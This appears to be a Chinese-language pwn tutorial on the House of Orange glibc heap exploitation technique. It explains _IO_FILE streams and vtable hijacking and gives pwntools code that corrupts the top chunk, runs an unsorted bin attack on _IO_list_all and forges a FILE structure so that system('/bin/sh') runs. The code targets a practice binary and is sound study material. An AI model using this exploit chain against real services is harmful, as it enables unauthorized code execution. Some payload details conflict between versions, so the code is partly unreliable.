PWN-堆基础之House of Orange

House of Orange

1.IO_FILE

在看House of Orange的例子之前，我们首先了解一个Linux中的利用机制_IO_FILE

可以使用ptype /o struct _IO_FILE查看这个结构的定义，在pwndbg中可以直接写为dt FILE

_IO_FILE这个结构体中有一个_chain可以看到它的类型是一个struct _IO_FILE *，也就是说是一个指向其他_IO_FILE结构体的指针；在使用fopen之类的函数打开一个文件之后，实际上系统会在堆上创建一个这样的_IO_FILE结构体，并将其加入到一个单链表中，单链表的头部为_IO_list_all，这个单链表可以理解为是一个专门存储_IO_FILE的fastbin。另外vtable为虚函数表指针，实际上是为了与C++的streambuf类兼容才会出现的，但是这里兼容性上的问题，让GLIBC的file stream有可能存在虚函数表劫持的漏洞

另一方面，我们知道Linux的文件系统中一切皆为文件

每一个进程创建时都会有三个标准I/O File Stream：

• stdin
• stdout
• stderr

即使程序没有输出、没有输入，它也会存在这三个标准的I/O

还是以前面gdb打开的/bin/sh为例，查看它的_IO_list_all可以看到上面的三项内容

分别就是这三个标准的I/O

这个程序甚至还没有运行起来，所以即使一个程序没有用到文件，我们仍然是有可能利用到I/O File Stream的

2.House of orange

原理

House of orange的核心思想主要是这样几部分：

• 不使用free函数而得到一个free chunk
• 伪造vtable

具体而言，获取free chunk的实现方法是修改Top Chunk。在House of Force中使用的方法是修改Top Chunk为一个特别大的值，之后我们申请一个特别大的chunk，循环一遍内存之后就可以访问到原本Top Chunk上方的内容

那如果将Top Chunk修改为一个很小的值呢？

假如我们把Top Chunk修改为一个很小的数，这时再申请一个更大的chunk

内存认为的Top Chunk是无法满足申请空间的需求的，因此堆管理器后续会再使用brk申请一块新的区域。

正常来说堆管理器会直接将通过brk分配的新内存直接并入到Top Chunk中（即让Top Chunk变大）

但是由于我们改小了Top Chunk，堆管理器认为Top Chunk与堆的尾部并不相邻

因此会将原本的Top Chunk Free掉，这样一来，我们就没有通过Free函数得到了一个Free chunk

3.利用

首先，申请一块小的chunk，并修改top_chunk大小字段为一个很小的值。

small_malloc()
edit(b'Y'*0x18+p64(0x101))

运行后可以看到Top Chunk被我们改写为了0x101

这时我们再申请一个 large chunk，会发现报错了。

报错的原因是：Top Chunk的prev_inuser位一定需要为1，并且Top Chunk是否在一个页的边界结尾，即是否按页对齐了。这里显然没有按页对齐。由于在Top Chunk之前我们申请了一个0x20大小的chunk，因此这个大小我们需要伪造为0x1000-0x20，即

small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()

这样，程序就能顺利通过并且不借助free函数得到了一块free chunk。

有了该free chunk我们就可以进行unsorted bin attack了，因此将bk值修改为_IO_list_all-0x10，这样unlink后_IO_list_all指针就会指向main_arena了。

但是之后还是会报错，这里错误是因为main_arena被当作File Stream对待

我们希望触发的是_IO_OVERFLOW(fp,EOF)这一行

在这之前第一句进行了两个检查

fp->mode <=0 && fp-> _IO_write_ptr > fp-> _IO_write_base

这里被解析时_mode被认为是一个负数，并且这里write_base == wirte_ptr 所以不满足执行_IO_OVERFLOW条件，程序认为这个File Stream不需要被关闭，于是直接去看下一个FileStream了

下一个File Stream是去找了_chain这个对象指向的位置，我们可以看到这里仍然在main_arena中

这里是main_arena+168，值为0x7ffff7dd4bc8的位置

对应main_arean结构图发现该位置正好是small bins 0x60的位置，所以在第一次_IO_flush_all_lockp执行失败后会顺着_chain找到这个0x60的smallbins进一步处理

那我们如果将一个伪造的FileStream数据填到这里就可以执行对应的内容了

如果我们将unsortedbin的大小伪造为0x60，在申请一个0x20大小的chunk时，这个unsortedbin就会被sort到这个0x60的smallbins中

也就是说我们直接在这个bins中伪造数据，就会被解析为FileStream了

small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x61) + p64(0) + p64(libc.sym._IO_list_all - 0x10))

那么伪造File Stream的数据都需要填哪些呢?

在wirte_end及之后的内容直到mode都是对我们没用的数据，直接先填0

这部分数据长度从0x30到0xc0，用p64(0)*18来填充，其余部分我们可以构造为：

payload = b"Y"*0x10

flags = b"Y"*0x8

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)

payload = payload + flags
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr         
payload = payload + p64(0)*18
payload = payload + p32(mode) + p32(0) + p64(0)*2

以上内容就构造完毕了_IO_FILE结构，但是关键的vtable指针还没有修改

可以发现，overflow位于vtable的偏移为24位置处，因此我们需要向该位置填入system的地址。那么计算一下vtable的值，从heap开始的位置，首先加上是0x20大小的一个small chunk，加上0xd8大小的整个伪造的_IO_FILE结构减去重合的8字节，最后是减去overflow函数的地址偏移24即0x18

vtable = heap + 0x20 + 0xd8 - 0x8 - 0x18

payload = payload + p32(mode) + p32(0) + p64(0) + p64(overflow)
payload = payload + p64(vtable)

最后就是overflow的值了

这里有两个选择，一是可以直接填写一个one_gadget，另一个简单方法就是使用system(“/bin/sh”),实际上调用的参数是fp，也就是最开始的flags,因此可以修改flags为”/bin/sh”。

因此，完整exp：

#----- 修改Top Chunk得到一个Free chunk
small_malloc()
edit(b"Y"*0x18 + p64(0x1000-0x20+0x1))
large_malloc()

#-----伪造IO_FILE劫持vtable
payload = b"Y"*0x10
flag = b'/bin/sh\x00'

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)                                                                                                                             
overflow = p64(libc.sym.system)

payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable

edit(payload)

#-----触发操作让unsortedbin被sort
small_malloc()